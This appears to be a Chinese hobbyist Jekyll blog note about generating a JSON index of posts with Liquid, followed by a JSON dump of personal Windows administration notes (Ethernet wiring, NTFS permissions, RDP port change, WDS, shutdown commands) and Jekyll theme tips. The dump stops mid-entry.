_data 文件夹

可以储存一些常用数据.免得每篇文章都重复一次. 比如把 每篇文章的各种信息 都储存到一个json文件中. 这样只需要生成一次. 而不是每篇文章里面都生成一遍.

目的:

遍历所有的文章. 每篇文章的标题,URL,所属标签,所属大类,时间.都储存到json 变量中.

给每个标签/大类一个自己名字的id → 用来筛选 被点击标签/大类下的所有文章.

1. 遍历出全部文章的 所有数据

~~

[ {% for post in site.posts %} { “title” : “{{ post.title | escape }}”, “category” : “{{ post.category }}”, “tags” : “{{ post.tags | join: ‘, ‘ }}”, “url” : “{{ site.baseurl }}{{ post.url }}”, “date” : “{{ post.date }}” } {% unless forloop.last %},{% endunless %} {% endfor %} ]

{: .language-ruby}





## 2. 把获得的json 给一个变量??


用liquid把数据转为json
然后用 capture 捕获.储存到一个变量中.
下面就可以用这个变量了....






或者是 储存到本地的 data 数据中? 


要么用 js  要么哟liquid来实现. 






直接写一个 json 文件. 



layout: null — [

{
  "title"    : "拖动条设计",
  "category" : "",
  "tags"     : "Jekyll",
  "url"      : "/blog/2016/12/11/%E6%8B%96%E5%8A%A8%E6%9D%A1%E8%AE%BE%E8%AE%A1.html",
  "date"     : "2016-12-11 00:00:00 +0800",
  "content"  : "一大一小.大的透明.小的显示.大的 根据小的位置移动而移动.z-index…jekyll server watch还爱晃点"
} ,
  
{
  "title"    : "Jekyll-Theme",
  "category" : "",
  "tags"     : "Jekyll",
  "url"      : "/blog/2016/12/11/Jekyll-Theme.html",
  "date"     : "2016-12-11 00:00:00 +0800",
  "content"  : "### A beautiful ThemeAuthor: Willian Justen. [Theme Link][1]   ~~~~~~{:.language-ruby}## 主题使用:- 下载 / Clone 到本地- 修改 config.yml*  主要修改baseurl属性和markdown属性。***把根目录改成空**`baseurl: "" # the subpath of your site, e.g. /blog/`不然的话 jekyll server 之后 你得用 [http://127.0.0.1:4000/+你baseurl 后面的路径才能访问][2]~~~layout: posttitle: "How to Use"date: 2016-05-08 20:35:48image: '/assets/img/'description: 'How to use this template 33'main-class: 'misc'color: '#7AAB13'tags:- misc- jekyllcategories:twitter\_text: 'How to use this template 33'introduction: 'How to use this template 33'~~~{:.language-ruby}\@: Jekyll 主题 主题网站:[Jekyll Themes][3]  Jekyll Blog Themes 精选[Start Bootstrap][4] 主题博客的主站制作精良的 Jekyll 主题。优质主题已在前述清单里推荐,分别为 Clean Blog 及 Business Casual。最好自己做.别人的普遍太丑. 探索很累 也花时间...用别人的主题 . 自己就对jekyll 文档结构不太熟悉.不能自己修改.html css js 前端知识的不足 也会浪费时间...*主题包括*• 博客界面截图• 创作者个人信息• 主题描述• 个人评分• 可访问的博客站点地址 Live Demo• 可直接 Fork 和配置的 GitHub 仓库源码地址。Description:有题图的博客主题。布局简约,页面显示清晰,加载速度快,移动端适配友好。有动态效果的博客主题。界面优雅,页面模块多样。略微复杂,加载稍慢。大图作为博客整个背景的主题。有不错的图片展示框。博文输出功能可能有小状况,需自己调配后才能用。 简约风格,偏重博客标题的展示。加载速度蛮快。** Jelyll 自定义主题**主题设计很简单:  *首页+归档+关于+链接页面.*修改 config.yml file.• 站点信息: 例如站点标题、描述、关键字等 SEO 相关,默认 URL 链接和 RSS 链接。• 菜单: 想要自定义菜单,排序?都可以。• 作者信息: 包括邮箱,简介,详细介绍等。• 社交: 因为每一个社交图标,都是 Font-Awesome 字体,所以需要先了解下每个图标的名字。• 友情链接: 可以定义很多项,最后在 Links 页面出现。• 谷歌分析: 只要输入您的 UA 就可以。• 评论: 两种评论系统可以选择,disqus 和 duoshuo。title 网页标题. emai 自己的邮箱description: 网站描述baseurl  根目录markdown: kramdowntheme: minima.* 响应式设计,多终端可以查看博客哦。**添加 Category 和 Tag 功能。*[1]:	http://jekyllthemes.org/themes/cards-jekyll-template/[2]:	http://127.0.0.1:4000/[3]:	http://jekyllthemes.org/[4]:	https://startbootstrap.com/template-categories/all/"
} ,
  
{
  "title"    : "Jekyll Cards Theme",
  "category" : "",
  "tags"     : "Jekyll",
  "url"      : "/blog/2016/12/11/Jekyll-Cards-Theme.html",
  "date"     : "2016-12-11 00:00:00 +0800",
  "content"  : "### Jekyll Carsd Theme Template - [Demo][1] (示范模板)**The Theme features (特点):** - Gulp- Stylus (Jeet, Rupture, Kouto Swiss)- Live Search- Offcanvas Menu- SVG icons- Very very small and fast!- Shell Script to create posts- Tags page- Series page- About Me page- Feed RSS- Sitemap.xml- Color Customization- Info Customization### Basic Setup1. [Install Jekyll][2]2. Fork the [Will Jekyll Template][3]3. Clone the repo to location that you just forked.4. Edit `_config.yml` to personalize your site.5. Check out the sample posts in `_posts` to see examples for assigning categories and tags, and other YAML data.6. Read the documentation below for further customization pointers and documentation.### Site and User SettingsYou have to fill some informations on `_config.yml` to customize your site.~~~# Site settingsdescription: A blog about lorem ipsum dolor sit ametbaseurl: "" # the subpath of your site, e.g. /blog/url: "http://localhost:3000" # the base hostname & protocol for your site # User settingsusername: Lorem Ipsumuser_description: Anon Developer at Lorem Ipsum Doloruser_title: Anon Developeremail: anon@anon.comtwitter_username: lorem_ipsumgithub_username:  lorem_ipsumgplus_username:  lorem_ipsumdisqus_username: lorem_ipsum~~~{: .language-ruby}### Header NameTo use the power of CSS Content and media query, the header name is defined on [src/styl/\_header.styl](). Change to your prefered name.### Color customization  All color variables are in `src/styl/variable`.  To change the main color, just set the new value at `main` assignment. Another colors are for texts and the code background color.---### Theme Colors自定义主题颜色.  修改theme-color.styl文件就可以 添加自己的颜色.  比如 第七行 下面加 青色.  `post-aqua: #00FFFF,``post-orange: #FFA500,`然后新建.md  main-class: ‘aqua’这就把 标记名字改了. 实际颜色没改 原因未知.Every post has a main color that is defined on [src/styl/\_theme-colors.styl](). Just create a new color with the prefix `post-` and define your main-class: 'css' and color: '#2DA0C3' on every post you create.### Creating postsYou can use the `initpost.sh` to create your new posts. Just follow the command:```./initpost.sh -c Post Title```The new file will be created at `_posts` with this format `date-title.md`.---### Front-matter  头部信息每新建一篇文章(blog), 都需要把 特别的头信息.放到新文章中.   Example: ~~~layout: posttitle: "Falando sobre RSCSS"date: 2016-02-07 18:48:16image: '/assets/img/rscss/rscss.png'description: 'Escrevendo CSS sem perder a sanidade. Aprenda uma metodologia que pode salvar muitas dores de cabeça.'main-class: 'css'color: '#2DA0C3'tags:- css- metodologia- frontendcategories:twitter_text: 'Escrevendo CSS sem perder a sanidade.'introduction: 'Escrevendo CSS sem perder a sanidade. Com essa introdução, Rico St. Cruz o criador chama a atenção de todos sobre uma metodologia melhor para se escrever CSS.'~~~{: .language-ruby}[1]:	http://willianjusten.com.br/cards-jekyll-template[2]:	http://jekyllrb.com[3]:	https://github.com/willianjusten/will-jekyll-template/fork"
} ,
  
{
  "title"    : "网线",
  "category" : "",
  "tags"     : "硬件",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-%E7%BD%91%E7%BA%BF.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "\@: 网线网线,八根铜导线, 为了减少电磁信号的相互干扰, 每两根按一定的密度缠绞在一起。这样, 在传输电号时相互之间辐身出的电波就会相互抵消, 有效的消除干扰。双绞线这个名字也是因为这样的结构而引伸出来的。在外部, 有一层韧性及高的保护外皮保护。双绞线最早的使用是被用于电话信号的传输, 后来才被渐渐引入到数字信号的传输当中, 在很久以前, 我们基本上都是使用的3 类双绞线, 最大只能达到16Mbps 的带宽, 而现在我们在计算机网络中广泛使用的都是超五类双绞线及六类双绞线。最大能达1000Mbps 的带宽。双绞线唯一的缺点就是传输距离较短, 只能达到100 米, 所以在布线的时候, 如果使用星型拓朴结构,覆盖的范围只能达到200\*200 米。 1000M 网卡数据传输是双向的, 需要使用四对线, 即8 根芯线。100M 以下, 一般使用1 、2 、3 、6 , 四根线。按标准是橙色、绿色共四根线。其中1 、3 一组,2 、6 一组4 、5 为备用线7 、8 则为电话线。T568A 标准连线顺序从左到右依次为:1 - 绿白、2 - 绿、3 - 橙白、4 - 蓝、5- 蓝白、6- 橙、7- 棕白、8- 棕。 T568B 标准连线顺序从左到右依次为:1 - 橙白、2 - 橙、3 - 绿白、4 - 蓝、5- 蓝白、6- 绿、7- 棕白、8- 棕。1 输出数据(+)2 输出数据(-)3 输入数据(+)4 保留为电话使用5 保留为电话使用6 输入数据(-)7 保留为电话使用8 保留为电话使用由此可见, 虽然双绞线有8 根芯线, 但在目前广泛使用的百兆网络中, 实际上只用到了其中的4 根, 即第1 、第2 、第3 、第6 , 它们分别起着收、发信号的作用。于是有了新奇的4 芯网线的制作, 也可以叫做1 -3 、2-6 交叉接法, 这种交叉网线的芯线排列规则是: 网线一端的第1脚连另一端的第3 脚, 网线一端的第2 脚连另一端的第6 脚, 其他脚一一对应即可, 也就是在上面介绍的交叉线缆制作方法中把多余的4根线抛开不要。"
} ,
  
{
  "title"    : "网上邻居",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-%E7%BD%91%E4%B8%8A%E9%82%BB%E5%B1%85.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## 网上邻居 \1. 看本地连接属性, 是否装了 网络文件和打印机共享.  \2. 控制面板-管理工具-本地安全策略-本地策略-用户权限  从网络访问此计算机 加入guest  从拒绝从网络访问这台计算机 删除 guest   \3. 重启.  电脑蓝牙问题"
} ,
  
{
  "title"    : "移动硬盘修复",
  "category" : "",
  "tags"     : "硬件",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-%E7%A7%BB%E5%8A%A8%E7%A1%AC%E7%9B%98%E4%BF%AE%E5%A4%8D.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "提示要格式化 去电脑的开始下面的附件 找到命令工具  右键  管理员运行进去 输入 chkdsk e: /f                e是盘符   /f 是修复命令. "
} ,
  
{
  "title"    : "禁止改IP",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-%E7%A6%81%E6%AD%A2%E6%94%B9IP.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "gpedit.msc 然后 用户配置-管理模版-网络启用 下面2项      禁止访问lan连接的属性      为管理员启用xp的网络连接属性"
} ,
  
{
  "title"    : "硬盘格式化成EXFAT",
  "category" : "",
  "tags"     : "硬盘",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-%E7%A1%AC%E7%9B%98%E6%A0%BC%E5%BC%8F%E5%8C%96%E6%88%90EXFAT.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "cmddiskpartlist diskselect disk3list partitionselect partition1format fs=exfat label=“new” unit=1024 quick ok"
} ,
  
{
  "title"    : "文件权限",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-%E6%96%87%E4%BB%B6%E6%9D%83%E9%99%90.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## 文件权限局域网  电脑 IBM 共享一个文件夹.域管理员能 直接看!!!域成员肯定没权限看.2, 访问控制器:Windows 操作系统通过将用户帐户和组成员身份匹配与其关联的权利、特权和权限,帮助防止在未经授权的情况下使用文件、应用程序和其他资源。访问控制授权用户、组  访问网络或者本地电脑 对象的过程.对象: 文件 打印机 其他资源.访问令牌访问控制表 ACL访问控制项 ACE使用者 (用户 或 程序)操作系统权限用户权限 特权.使用访问控制用户界面,可以设置文件、Active Directory 对象、注册表对象或诸如进程之类的系统对象等的 NTFS 权限。权限可以授予任何用户、组或计算机。将权限分配给组非常有用,因为它可以在验证对象访问时改进系统性能对于任何对象,都可以向下列内容授予权限:·	组、用户以及域中包含安全标识符的其他对象。    ·	该域或任何受信任域中的组和用户。    ·	对象所在的计算机上的本地组和用户。这些公用权限有:·	读取     ·	修改     ·	更改所有者    ·	删除设置权限时,可以指定组和用户的访问级别。例如,您可以允许一个用户读取文件的内容,允许另一个用户修改该文件,同时防止所有其他用户访问该文件。可以在打印机上设置相似的权限,这样某些用户便可以配置打印机而其他用户仅能使用打印机进行打印。当您需要更改文件的权限时,可以运行“Windows 资源管理器”,右键单击文件名,单击“属性”。在“安全”选项卡上,可以更改文件的权限。有关详细信息,请另一种权限称为共享权限,可通过文件夹的“属性”页的“共享”选项卡或使用共享文件夹向导进行设置。有关详细信息,请参阅文件服务器上的共享权限和 NTFS 权限。对象的所有权所有者被默认为对象的创建者。不管为对象设置什么权限,对象的所有者总是可以更改对象的权限。有关详细信息,请参阅管理对象所有权。权限的继承继承使得管理员易于指派和管理权限。该功能自动使容器中的对象继承该容器的所有可继承权限。例如,文件夹中的文件,一经创建就继承了文件夹的权限。只继承标记为要继承的权限。用户权限和特权用户权限授予计算环境中的用户和组特定的特权和登录权限。管理员可以向组帐户或单个用户帐户分配特定权限。这些权限授权用户执行特定操作,如交互登录到系统或备份文件和目录。用户权利与权限不同,因为用户权利应用于用户帐户,而权限附加到对象。虽然用户权利可以应用于单个用户帐户,但用户权利最好在组帐户基础上进行管理。访问控制用户界面中不支持授予用户权利;但可以通过“本地策略\用户权限分配”下的“本地安全策略”管理单元来管理用户权利分配。有关详细信息,请参阅用户权限和特权。对象审核拥有管理员权限后,可以审核用户对对象的访问是成功还是失败。您可以使用访问控制用户界面来选择要审核的对象访问,但必须先通过选择“本地安全策略”管理单元中“本地策略\审核策略\本地策略”下的“审核对象访问”来启用审核策略。然后可以在事件查看器的安全日志中查看这些与安全相关的事件。访问文件夹 通过两组权限来确定:共享文件 通常用于管理 不是 NTFS 文件系统的计算机共享权限 和 NTFS 权限是独立的!! 不能彼此更改.文件夹的最终访问权 是 考虑共享权限和 NTFS 权限后 才确定的.最后才应用更严格的权限.共享权限NTFS 权限文件夹类型公共文件夹每个人都能访问.放置文件夹只有 管理员 或者老师 可读的 机密报告  或者 家庭作业.User 组 更改.组管理员 完全控制.应用程序文件夹.可读取+ 执行. 列出文件夹内容.主文件夹:每个用户的个人文件夹.只有用户 拥有该文件夹的访问权完全控制:  使用要小心.如果希望只使用 NTFS 权限管理文件夹访问权限,应将 Everyone 组的共享权限设置为“完全控制”。 •	NTFS 权限影响本地和远程访问。NTFS 权限的应用与协议无关。相反,“共享”权限只适用于网络共享。共享权限不限制已设置了共享权限的计算机上的任何本地用户或任何终端服务器用户访问。因此,对于由多个用户使用的计算机上的用户,以及由多个用户访问的终端服务器上的用户,共享权限不确保他们之间的信息保密。    •	默认情况下,Everyone 组不包括“匿名”组,因此应用于 Everyone 组的权限在“匿名”组中不起作用。    查看文件 /  文件夹权限.创建一个文件夹后 win 会自动分配默认权限.读取 是 最小的权限.查看文件有效权限:→ 属性  →安全→ 高级→有效权限→选择 → 用户/ 用户组名字 →管理对象 所有权.每个对象 都有 一个 所有者. 修改文件夹权限  必须先取得 文件所有权需要修改或更改文件权限的管理员必须首先取得文件所有权。默认情况下,所有者是创建对象的实体。所有者始终可以更改对象的权限,即使已拒绝所有者到对象的所有访问。如下人员可以取得所有权:·	管理员。默认情况下,管理员组拥有“取得文件或其他对象的所有权”用户权利。    ·	具有对象的“取得所有权”权限的任何用户或组。    ·	具有“存储文件和目录”用户权利的用户。    所有权可以用以下方式转换:·	当前所有者可向其他用户授予“取得所有权”权限,前提是该用户是当前所有者的访问令牌中定义的组成员。该用户必须实际取得所有权才能完成所有权的转移。    ·	管理员可以取得所有权。    ·	拥有“存储文件和目录”用户权利的用户可以双击“其他用户和组”并选择任意用户或组来向其分配所有权。     ·	管理员可以获得计算机中任何文件的所有权。     ·	分配文件或文件夹的所有权可能要求您使用“用户访问控制”提升您的权限。     ·	若要打开 Windows 资源管理器,请单击“开始”,指向“所有程序”,单击“附件”,然后单击“Windows 资源管理器”。    ·	可以用两种方式转移所有权:   ·	当前的所有者可以向其他用户授予“取得所有权”权限,允许这些用户随时取得所有权。被授予“取得所有权”权限的用户可以取得对象的所有权,或向其所在的任何组分配所有权。     ·	拥有“存储文件和目录”权限的用户可以双击“其他用户和组”并选择任意用户和组来向其分配所有权。    •	Everyone 组不再包括 Anonymous Logon 组。    其他参考网络的每个容器和对象都有一组附加的访问控制信息。该信息称为安全描述符,它控制用户和组允许使用的访问类型。权限是在对象的安全描述符中定义的。权限与特定的用户和组相关联,或者是指派到特定的用户和组。显式权限和继承权限有两种权限类型:显式权限和继承权限。·	显式权限是那些在创建非子对象时在这些对象上默认设置的权限,或在非子对象、父对象或子对象上由用户操作设置的权限。    ·	继承权限是从父对象传播到对象的权限。继承权限可以减轻管理权限的任务,并且确保给定容器内所有对象之间的权限一致性。     默认情况下,容器中的对象在创建对象时从该容器中继承权限。例如,当您创建名为 MyFolder 的文件夹时,MyFolder 中创建的所有子文件夹和文件会自动继承该文件夹的权限。因此,MyFolder 具有显式权限,而其中的所有子文件夹和文件都具有继承权限。如果对象具有显式“允许”权限条目,则继承的“拒绝”权限不阻止对该对象的访问。显式权限比继承权限(包括继承的“拒绝”权限)的优先级高。文件 文件夹 权限无论使用什么权限保护文件,被授予对文件夹的“完全控制”权限的组或用户都可删除该文件夹中的任何文件。遍历文件夹 执行文件列出文件夹 读取数据读取属性读取扩展属性创建文件 / 写入数据创建文件夹 附加数据写入写入扩展删除子文件夹 及 文件删除读取权限更改取得所有权同步https://technet.microsoft.com/zh-cn/library/cc732880.aspx完全控制  拥有全部权限修改: 不能删除文件 及 文件夹. 不能更改权限. 不能取得所有权.读取&执行: 文件列表 文件属性 读取文件 运行程序读取: 文件夹列表 文件属性. 读取权限 写入: 创建文件 文件夹 写入属性? 读取继承权限是从父对象传播到对象的权限。继承权限可以减轻管理权限的任务,并且确保给定容器内所有对象之间的权限一致性。如果访问控制用户界面各个部分中的“允许”和“拒绝”权限复选框在您查看对象的权限时显示为灰色,有以下三种推荐方式可对继承权限进行更改:·	对明确定义权限的父对象进行更改,然后子对象将继承这些权限。有关详细信息,请参阅设置、查看、更改或删除对象上的权限。    ·	选择“允许”权限替代继承的“拒绝”权限。    ·	清除“包括可从该对象的父项继承的权限”复选框。然后便可对权限进行更改或删除“权限”列表中的用户或组。但是,该对象将不再从其父对象继承权限。  https://technet.microsoft.com/zh-cn/library/cc753659.aspx如果对象具有显式“允许”权限条目,则继承的“拒绝”权限不阻止对该对象的访问。显式权限比继承权限(包括继承的“拒绝”权限)的优先级高。"
} ,
  
{
  "title"    : "修改3389端口 (XP & Win003)",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-%E4%BF%AE%E6%94%B93389%E7%AB%AF%E5%8F%A3-(XP-&-Win003).html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## 修改3389端口 (XP & Win003)> 目的:为了避免别人扫描远程桌面连接端口,保障服务器的安全.  总共两个步骤: (XP Window003 亲测可用.)- 服务器 修改两处注册表 	> 注意:两次修改的端口要一致。事实上,只修改第二处也是可以的win+R redegit展开注册表到`HKEY_LOCAL_MACHINE` → `SYSTEM` → `CurrentControlSet`  → `Control` → `Terminal Server` 1. 第一处:→ Wds → rdpwd → Tds → tcp	2. 第二处:→ WinStations → RDP-Tcp		PortNumber值,默认是3389,选择十进制,改成你所希望的端口		(范围在1024到65535,而且不能冲突.比如2190)		3. 重启系统使设置生效。	- 客户端连接方法		1. 打开远程桌面连接:XP/2003下在运行里输入"mstsc”)即可。			2. 连接的格式:IP:修改后的端口,如10.10.10.10:2190"
} ,
  
{
  "title"    : "Windows Server",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Windows-Server.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Windows Server### 上网弹框 问题    !!!!!!!!!!!!! - Reason : Windows Server 2008系统新增加了IE增强安全配置功能- Solution 	1. 开始  程序  管理工具  服务器管理器  命令  安全信息设置项  单击 配置IE ESC 选项		2. 管理员下  选中”禁用“选项,			3. 用户下  →选中”禁用“选项,				4. 确定.		这样 就能将IE增强安全配置功能临时关闭了。这样重启浏览器后再打开网页就不会出现安全提示!"
} ,
  
{
  "title"    : "Windows 2008",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Windows-2008.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "Windows 2008 1. 服务器管理2. IIS3. 虚拟化4. 增强的终端服务5. windows powershell是一种集成了100多种工具的脚本语言,有了它,我们可以自动化执行AD,Terminal Service等系统管理任务,而且Windows PowerShell不需要学习编程语言,入门简单6. Bitlocker 驱动器加密7. 网络保护访问 NAP使用NAP要求用户所使用的操作系统需要在XP SP3版本以上。网络管理员可以自定义一些要求,让不符合要求的用户不能访问网络。NAP支持4种网络访问技术,分别是IPSec强制,802.1X强制,路由和远程访问的VPN强制,DHCP强制。8. RODC9. Server Core只安装核心的模块,Server Core模式不具有图形界面,所有的操作都是通过命令实现,主要用于安装DHCP,DNS等服务10. 防火墙高级安全.防火墙高级安全功能可以使网络管理员根据配制来允许或者阻止某些网络通信,保护网络免遭恶意入侵,而且防火墙具有双向功能,可以拦截传入和付传出的通信。## WDS 远程安装."
} ,
  
{
  "title"    : "WDS & PXE",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-WDS-&-PXE.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## WDS & PXEWDS:    WindowsDeployment Services  **Windows部署服务**> 类似于Linux系统的PXE,用来批量部署Windows操作系统*WDS 组件:*1. 服务器组件。	用于网络启动客户端的PXE服务器和TFTP服务器,以加载并安装操作系统。此外还包括一个共享文件夹和映像存储库,其包含网络启动所需要的启动映像、安装映像及文件。Windows Server 2008的WDS不但提供了PXE的支持,对用于传输启动映像的TFTP等协议也进行了优化,能够提供更快的PXE启动速度。2. 客户端组件。	WDS为我们提供了一个集中化管理操作系统和启动映像的类MMC统一界面。在此可以方便的设置WDS、添加/删除操作系统和启动映像。此外也可以用来捕获已安装好的计算机操作系统。3. 管理组件。	包括WDS管理控制台和命令行工具,他们可以用于管理服务器,操作系统映像和客户端计算机帐户。利用WDS多播部署,可以将操作系统同时快速部署到多台计算机中,这个是绝对实用的功能。值得关注的是,在Windows Server 2008的WDS中使用的基于文件的WIM格式,和我们平时使用的Ghost等工具不同,Ghost等工具是基于磁盘的。由于是基于文件,所以WIM格式的映像可以在不破坏原有磁盘文件系统的情况下对系统进行恢复,且占用空间极小。*WDS 镜像类型*1. Boot image      包括WDS client和windows pe。      位于Windows72008的安装光盘中,名为boot.wim。      单boot image可支持多install image。      执行安装windows系统      修复操作系统      启动镜像捕获      启动其他用途的windowsPE2. Installimage      类似于windows的安装光盘      Windows7/2008光盘\source\install.wim      Windowsvista:sysprep /oobe /generalize /reboot,然后进行捕获      Windowsxp:sysprep –mini –reseal –reboot,然后进行捕获1.3 WDS安装条件      ActiveDirectory 服务器      DHCP 服务器      DNS服务器      WDS 服务器      模版计算机(主要针对windowsvista之前操作系统时使用)WDS部署      2.1部署步骤       配置WDS安装,要进行如下步骤:1)配置AD服务器:WDS依赖于AD,这是硬性要求。2)配置DHCP服务器:为网卡启动的客户端分配IP地址。3)配置DNS服务器:相应域内主机的IP解析。4)配置WDS服务器:系统部署的核心应用。每个代码可以添加两个class.一个是 config配置文件里的 高亮名.一个就是写在md 结尾 大括号里面的高亮名.这两个名字 都会加到  div class中## 4 css	.highlight-wrap[rel]::before {	  color: #fff;	  content: attr(rel);	  height: 38px;	  line-height: 38px;	  verticle color: #fff;	  font-size: 16px;	  position: absolute;	  top: 0;	  left: 0;	  width: 100%;	  font-family: 'Source Sans Pro',sans-serif;	  font-weight: 700;	  padding: 0 80px;	  text-indent: 15px;	  float: left## 5 js ✔︎	$(function(){	  $("#topbarPre" ).click(function(){  $("#prePost" )[0].click();  });	  $("#topbarNext").click(function(){  $("#nextPost")[0].click();  });	});	## js ✔︎	  $(document).pjax("a", '#contentDiv', { fragment: '#contentDiv', timeout:18000}	);	  $(document).on('pjax:start', function() { NProgress.start(); });	  $(document).on('pjax:end',   function() { NProgress.done(); showSideStructure(); hljs.initHighlightingOnLoad();  });### html ✗就是输出不来啊...就算编程 代码块.也会执行啊.难道要用 .. 实体字符.. 	 	  		  		    		 	  	 ### html 源代码: 加双引号 正常显示.	 	  		  		    		 	  	### html 源代码: 双引号+ code 源码 出错 无显示...~~~   	  	    	   ~~~{: .language-ruby}## 图片: md 源文件![]()(http://oduizitoj.bkt.clouddn.com/2017-02-10-Screen%20Shot%202017-02-10%20at%2020.07.08.png)~~~   	  	    	   ~~~{: .language-ruby}"
} ,
  
{
  "title"    : "WDS & PXE",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-WDS-&-PXE-2.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## WDS & PXEWDS:    WindowsDeployment Services  **Windows部署服务**> 类似于Linux系统的PXE,用来批量部署Windows操作系统*WDS 组件:*1. 服务器组件。	用于网络启动客户端的PXE服务器和TFTP服务器,以加载并安装操作系统。此外还包括一个共享文件夹和映像存储库,其包含网络启动所需要的启动映像、安装映像及文件。Windows Server 2008的WDS不但提供了PXE的支持,对用于传输启动映像的TFTP等协议也进行了优化,能够提供更快的PXE启动速度。2. 客户端组件。	WDS为我们提供了一个集中化管理操作系统和启动映像的类MMC统一界面。在此可以方便的设置WDS、添加/删除操作系统和启动映像。此外也可以用来捕获已安装好的计算机操作系统。3. 管理组件。	包括WDS管理控制台和命令行工具,他们可以用于管理服务器,操作系统映像和客户端计算机帐户。利用WDS多播部署,可以将操作系统同时快速部署到多台计算机中,这个是绝对实用的功能。值得关注的是,在Windows Server 2008的WDS中使用的基于文件的WIM格式,和我们平时使用的Ghost等工具不同,Ghost等工具是基于磁盘的。由于是基于文件,所以WIM格式的映像可以在不破坏原有磁盘文件系统的情况下对系统进行恢复,且占用空间极小。*WDS 镜像类型*1. Boot image      包括WDS client和windows pe。      位于Windows72008的安装光盘中,名为boot.wim。      单boot image可支持多install image。      执行安装windows系统      修复操作系统      启动镜像捕获      启动其他用途的windowsPE2. Installimage      类似于windows的安装光盘      Windows7/2008光盘\source\install.wim      Windowsvista:sysprep /oobe /generalize /reboot,然后进行捕获      Windowsxp:sysprep –mini –reseal –reboot,然后进行捕获1.3 WDS安装条件      ActiveDirectory 服务器      DHCP 服务器      DNS服务器      WDS 服务器      模版计算机(主要针对windowsvista之前操作系统时使用)WDS部署      2.1部署步骤       配置WDS安装,要进行如下步骤:1)配置AD服务器:WDS依赖于AD,这是硬性要求。2)配置DHCP服务器:为网卡启动的客户端分配IP地址。3)配置DNS服务器:相应域内主机的IP解析。4)配置WDS服务器:系统部署的核心应用。## 代码高亮设置代码块 最上面必须空一行!!!! 不然无效....## 代码块!!!    无高亮	├── _config.yml	├── _includes	 ├── 	├── _layouts	 ├── default.html	 ├── page.html	 └── post.html	├── _posts	 ├── 	├── _sass	 ├── _base.scss	 ├── _layout.scss	 └── _syntax-highlighting.scss	├── about.md	├── css	 └── main.scss	├── feed.xml	└── index.html结构: div  pre  code .div :  class="highlighter-rouge"pre:   calss= highlightcode:   无class## 代码块+高亮!!!    有高亮	├── _config.yml	├── _includes	 ├── 	├── _layouts	 ├── default.html	 ├── page.html	 └── post.html	├── _posts	 ├── 	├── _sass	 ├── _base.scss	 ├── _layout.scss	 └── _syntax-highlighting.scss	├── about.md	├── css	 └── main.scss	├── feed.xml## 源代码+高亮.language-ruby   →有高亮	.	├── _config.yml	├── _includes	 ├── 	├── _layouts	 ├── default.html	 ├── page.html	 └── post.html	├── _posts	 ├── 	├── _sass	 ├── _base.scss	 ├── _layout.scss	 └── _syntax-highlighting.scss	├── about.md	├── css	 └── main.scss	├── feed.xml	└── index.html结构: div  pre  code .div :  class="highlighter-rouge language-ruby"pre:   calss= highlightcode:   无class## 源代码+高亮.language-ruby2   无高亮	.	├── _config.yml	├── _includes	 ├── 	├── _layouts	 ├── default.html	 ├── page.html	 └── post.html	├── _posts	 ├── 	├── _sass	 ├── _base.scss	 ├── _layout.scss	 └── _syntax-highlighting.scss	├── about.md	├── css	 └── main.scss	├── feed.xml	└── index.html结构: pre  code .pre:   无code:  calss= language-ruby2可以看出..  正常代码要高亮. 就得安装"
} ,
  
{
  "title"    : "Shutdown",
  "category" : "",
  "tags"     : "💻-CMD",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Shutdown.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Shutdown`?           帮助信息``l            注销``s           关机``r            重启``h           休眠``t xxx     关闭前的超时. 默认30秒``f            强制关闭``a           取消操作.`关机&重启 :  ` shutdown -s             一分钟内关闭`` shutdown -s -t 0      立即关闭`` shutdown -r              一分钟内重启`` shutdown -r -t 0       立即重启``shutdown -r —f t 0    强制重启`重启脚本:  新建文本 直接写命令. 改成. bat  双击运行.	shutdown -r -t 0"
} ,
  
{
  "title"    : "Shutdown",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-Shutdown-2.html",
  "date"     : "2016-10-22 00:00:00 +0800",
  "content"  : "## Scriptes# Windows## Shutdown\`?           帮助信息\`\`l            注销\`\`s           关机\`\`r            重启\`\`h           休眠\`\`t xxx     关闭前的超时. 默认30秒\`\`f            强制关闭\`\`a           取消操作.\`关机&重启 :  \` shutdown -s             一分钟内关闭\`\` shutdown -s -t 0      立即关闭\`\` shutdown -r              一分钟内重启\`\` shutdown -r -t 0       立即重启\`\`shutdown -r —f t 0    强制重启\`重启脚本:  新建文本 直接写命令. 改成. bat  双击运行.	shutdown -r -t 0cmd启动项msconfig"
} ,
  
{
  "title"    : "SAM",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%92%BB-win/2016/10/22/21-SAM.html",
